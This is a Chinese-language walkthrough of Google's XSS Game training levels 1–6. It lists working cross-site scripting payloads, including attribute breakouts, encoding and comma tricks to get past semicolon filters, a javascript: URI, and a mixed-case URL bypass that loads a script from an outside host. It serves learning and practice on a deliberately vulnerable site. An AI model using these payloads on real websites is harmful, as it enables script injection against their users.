Google-XSS-Game WriteUp
level-1
输入内容会出现在<b>
标签中,没有过滤,直接使用img或script等等都能弹窗
<img/src=x onerror=alert(1)>
<script>alert(1)</script>
level-2
留言板过滤了script标签,使用img标签
<img/src=1 onerror=alert(1)>
level-3
输入点在url后面的hash中
输入aaaa,文中img标签变为
<img src="/static/level3/cloudaaaa.jpg">
payload1: 制造onerror事件: ' onerror=alert(1)//
payload2: 闭合img标签: '><script>alert(1);</script>//
这个地方注意前面必须使用单引号闭合src
level-4
<img src="/static/loading.gif" onload="startTimer('1000');">
<div id="message">Your timer will execute in 1000 seconds.</div>
有这两个输出点是可控的,div标签里面被html实体编码,应该没法利用
尝试在img标签中构造,
img标签中也会对标签进行实体编码,但是在浏览器解析标签属性时会先对值进行decode
try: 1');alert('1
但是;被过滤了,使用编码或者逗号可以绕过:
payload1: 编码: 1')%3Balert('1
payload2: 使用逗号: 1'),alert('1
level-5
点击sing up进入一个页面,url中有next参数,习惯性改一下看输出点:
输出在a标签中,直接用伪协议:
payload: javascript:alert(1)
这里也是对html标签进行了实体编码没法闭合a标签
level-6
又是url的hash值,探测输出点,没搜出来,在js代码中,会获取hash中的地址,加载这个地址的js,但是不能用包含http,使用大小写可以绕过,经历上次ssctf,大小写深刻我心
payload1: https://xss-game.appspot.com/level6/frame#hTtps://sqvds.com/1.js
或者在网址最开始处添加一个空格也可以绕过,看网上还有使用data伪协议:
payload2: data:text/javascript,alert(1);